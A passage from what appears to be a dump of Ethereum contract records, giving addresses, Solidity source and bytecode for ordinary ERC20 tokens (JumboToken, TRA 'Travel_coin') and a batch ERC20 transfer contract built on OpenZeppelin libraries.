ffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146125c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b60008090505b838390508110156127cb5760008484838181106125e757fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1690506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050831515811515146127bc578315612718576001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f369e0b70fff47e7b3ceb33e2f6f5d67c3d85ab70974ae25e5b2ef2516863d1996001604051808215151515815260200191505060405180910390a26127bb565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690558173ffffffffffffffffffffffffffffffffffffffff167f369e0b70fff47e7b3ceb33e2f6f5d67c3d85ab70974ae25e5b2ef2516863d1996000604051808215151515815260200191505060405180910390a25b5b505080806001019150506125ce565b50505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612941576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f596f75206d7573742062652064656c65676174652e000000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612b49576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612bec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c6964206e6577206f776e657220616464726573732e00000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612cf3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612d96576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f496e76616c6964206e6577206d696e74657220616464726573732e000000000081525060200191505060405180910390fd5b6000600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f02ad39e5173f89bdd5497202bd74024b5da045106c3163ddb078d2e89ff6d6de60405160405180910390a35050565b600082821115612ef6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4e656761746976652075696e74323536206973206e6f7720616c6c6f7765642e81525060200191505060405180910390fd5b818303905092915050565b600080828401905083811015612f7f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f416464696e672075696e74323536206f766572666c6f772e000000000000000081525060200191505060405180910390fd5b809150509291505056fe536f75726365206164647265737320697320696e20626c6f636b2066696c7465722e536f757263652061646472657373206d75737420626520696e20706173732066696c7465722e596f75206d75737420626520656974686572206f776e6572206f72206d696e7465722ea165627a7a72305820b6b008a9d294bf5736856b7b0609e3747fc281f9dfb800fb12326c214f3098710029
[ 38 ]
0xf2acbad5b651ab881a4fd7830db0aea34e2d5eca
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Token { using SafeMath for uint256; string public name; string public symbol; uint256 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function ERC20Token ( string _name, string _symbol, uint256 _decimals, uint256 _totalSupply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply * 10 ** decimals; balanceOf[msg.sender] = totalSupply; } function _transfer(address _from, address _to, uint256 _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to].add(_value) > balanceOf[_to]); uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract JumboToken is Ownable, ERC20Token { event Burn(address indexed from, uint256 value); function JumboToken ( string name, string symbol, uint256 decimals, uint256 totalSupply ) ERC20Token (name, symbol, decimals, totalSupply) public {} function() payable public { revert(); } function burn(uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); return true; } }
0x6060604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461017e57806323b872dd146101a3578063313ce567146101cb57806342966c68146101de57806370a08231146101f45780638da5cb5b1461021357806395d89b4114610242578063a9059cbb14610255578063dd62ed3e14610277578063f2fde38b1461029c575b600080fd5b34156100c957600080fd5b6100d16102bd565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561010d5780820151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015357600080fd5b61016a600160a060020a036004351660243561035b565b604051901515815260200160405180910390f35b341561018957600080fd5b6101916103c7565b60405190815260200160405180910390f35b34156101ae57600080fd5b61016a600160a060020a03600435811690602435166044356103cd565b34156101d657600080fd5b610191610475565b34156101e957600080fd5b61016a60043561047b565b34156101ff57600080fd5b610191600160a060020a036004351661055a565b341561021e57600080fd5b61022661056c565b604051600160a060020a03909116815260200160405180910390f35b341561024d57600080fd5b6100d161057b565b341561026057600080fd5b61016a600160a060020a03600435166024356105e6565b341561028257600080fd5b610191600160a060020a03600435811690602435166105fc565b34156102a757600080fd5b6102bb600160a060020a0360043516610619565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103535780601f1061032857610100808354040283529160200191610353565b820191906000526020600020905b81548152906001019060200180831161033657829003601f168201915b505050505081565b600160a060020a03338116600081815260066020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60045481565b600160a060020a0380841660009081526006602090815260408083203390941683529290529081205482111561040257600080fd5b600160a060020a0380851660009081526006602090815260408083203390941683529290522054610439908363ffffffff6106b416565b600160a060020a038086166000908152600660209081526040808320339094168352929052205561046b8484846106c6565b5060019392505050565b60035481565b6000805433600160a060020a0390811691161461049757600080fd5b600160a060020a033316600090815260056020526040902054829010156104bd57600080fd5b600160a060020a0333166000908152600560205260409020546104e6908363ffffffff6106b416565b600160a060020a033316600090815260056020526040902055600454610512908363ffffffff6106b416565b600455600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2506001919050565b60056020526000908152604090205481565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103535780601f1061032857610100808354040283529160200191610353565b60006105f33384846106c6565b50600192915050565b600660209081526000928352604080842090915290825290205481565b60005433600160a060020a0390811691161461063457600080fd5b600160a060020a038116151561064957600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000828211156106c057fe5b50900390565b6000600160a060020a03831615156106dd57600080fd5b600160a060020a0384166000908152600560205260409020548290101561070357600080fd5b600160a060020a03831660009081526005602052604090205461072c818463ffffffff61086216565b1161073657600080fd5b600160a060020a038084166000908152600560205260408082205492871682529020546107689163ffffffff61086216565b600160a060020a038516600090815260056020526040902054909150610794908363ffffffff6106b416565b600160a060020a0380861660009081526005602052604080822093909355908516815220546107c9908363ffffffff61086216565b600160a060020a03808516600081815260056020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3600160a060020a038084166000908152600560205260408082205492871682529020548291610855919063ffffffff61086216565b1461085c57fe5b50505050565b60008282018381101561087157fe5b93925050505600a165627a7a723058204c60e0ba9d385fe8fd3611d092d4d3b76e5dc4c2cca711c535cd48f1b2f01e310029
[ 2 ]
0xF2ACD433D16644f28FC45FCb2c8baAa5a433AAAB
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; contract BatchERC20Sendoooooor { using SafeERC20 for IERC20; function send( address token, address[] calldata recipients, uint256[] calldata amounts ) external { for (uint256 i = 0; i < recipients.length; i++) { IERC20(token).safeTransferFrom(msg.sender, recipients[i], amounts[i]); } } function sendWithSameAmount( address token, address[] calldata recipients, uint256 amount ) external { for (uint256 i = 0; i < recipients.length; i++) { IERC20(token).safeTransferFrom(msg.sender, recipients[i], amount); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063236ee5c31461003b578063f8129cd214610050575b600080fd5b61004e610049366004610531565b610063565b005b61004e61005e3660046104b3565b6100d2565b60005b828110156100cb576100b93385858481811061009257634e487b7160e01b600052603260045260246000fd5b90506020020160208101906100a79190610499565b6001600160a01b038816919085610171565b806100c381610624565b915050610066565b5050505050565b60005b83811015610169576101573386868481811061010157634e487b7160e01b600052603260045260246000fd5b90506020020160208101906101169190610499565b85858581811061013657634e487b7160e01b600052603260045260246000fd5b90506020020135896001600160a01b0316610171909392919063ffffffff16565b8061016181610624565b9150506100d5565b505050505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526101cb9085906101d1565b50505050565b6000610226826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166102ad9092919063ffffffff16565b8051909150156102a857808060200190518101906102449190610589565b6102a85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084015b60405180910390fd5b505050565b60606102bc84846000856102c6565b90505b9392505050565b6060824710156103275760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161029f565b610330856103f5565b61037c5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161029f565b600080866001600160a01b0316858760405161039891906105a9565b60006040518083038185875af1925050503d80600081146103d5576040519150601f19603f3d011682016040523d82523d6000602084013e6103da565b606091505b50915091506103ea8282866103ff565b979650505050505050565b803b15155b919050565b6060831561040e5750816102bf565b82511561041e5782518084602001fd5b8160405162461bcd60e51b815260040161029f91906105c5565b80356001600160a01b03811681146103fa57600080fd5b60008083601f840112610460578182fd5b50813567ffffffffffffffff811115610477578182fd5b6020830191508360208260051b850101111561049257600080fd5b9250929050565b6000602082840312156104aa578081fd5b6102bf82610438565b6000806000806000606086880312156104ca578081fd5b6104d386610438565b9450602086013567ffffffffffffffff808211156104ef578283fd5b6104fb89838a0161044f565b90965094506040880135915080821115610513578283fd5b506105208882890161044f565b969995985093965092949392505050565b60008060008060608587031215610546578384fd5b61054f85610438565b9350602085013567ffffffffffffffff81111561056a578384fd5b6105768782880161044f565b9598909750949560400135949350505050565b60006020828403121561059a578081fd5b815180151581146102bf578182fd5b600082516105bb8184602087016105f8565b9190910192915050565b60006020825282518060208401526105e48160408501602087016105f8565b601f01601f19169190910160400192915050565b60005b838110156106135781810151838201526020016105fb565b838111156101cb5750506000910152565b600060001982141561064457634e487b7160e01b81526011600452602481fd5b506001019056fea26469706673582212205446fd79c548a22a5a01098c5f386597002a95fe9a21cd1ad818d851593d5fe564736f6c63430008030033
[ 38 ]
0xf2aDAaD4a6C7aF1189Ce4C3175ff5383E137bEe5
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // Sample token contract // // Symbol : TRA // Name : Travel_coin // Total supply : 100000000000000000000 // Decimals : 5 // Owner Account : 0x1E7bC59a092536392Bc38f3a567e1c93597db71b // // // // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Lib: Safe Math // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } /** ERC Token Standard #20 Interface https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md */ contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } /** Contract function to receive approval and execute function in one call Borrowed from MiniMeToken */ contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } /** ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers */ contract TRA is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = " TRA"; name = " Travel_coin"; decimals = 5; _totalSupply = 100000000000000000000; balances[0x1E7bC59a092536392Bc38f3a567e1c93597db71b] = _totalSupply; emit Transfer(address(0), 0x1E7bC59a092536392Bc38f3a567e1c93597db71b, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce567146102855780633eaaf86b146102b657806370a08231146102e157806395d89b4114610338578063a293d1e8146103c8578063a9059cbb14610413578063b5931f7c14610478578063cae9ca51146104c3578063d05c78da1461056e578063dd62ed3e146105b9578063e6cb901314610630575b600080fd5b3480156100ec57600080fd5b506100f561067b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610719565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61080b565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610856565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610ae6565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102c257600080fd5b506102cb610af9565b6040518082815260200191505060405180910390f35b3480156102ed57600080fd5b50610322600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aff565b6040518082815260200191505060405180910390f35b34801561034457600080fd5b5061034d610b48565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038d578082015181840152602081019050610372565b50505050905090810190601f1680156103ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d457600080fd5b506103fd6004803603810190808035906020019092919080359060200190929190505050610be6565b6040518082815260200191505060405180910390f35b34801561041f57600080fd5b5061045e600480360381019080803573fff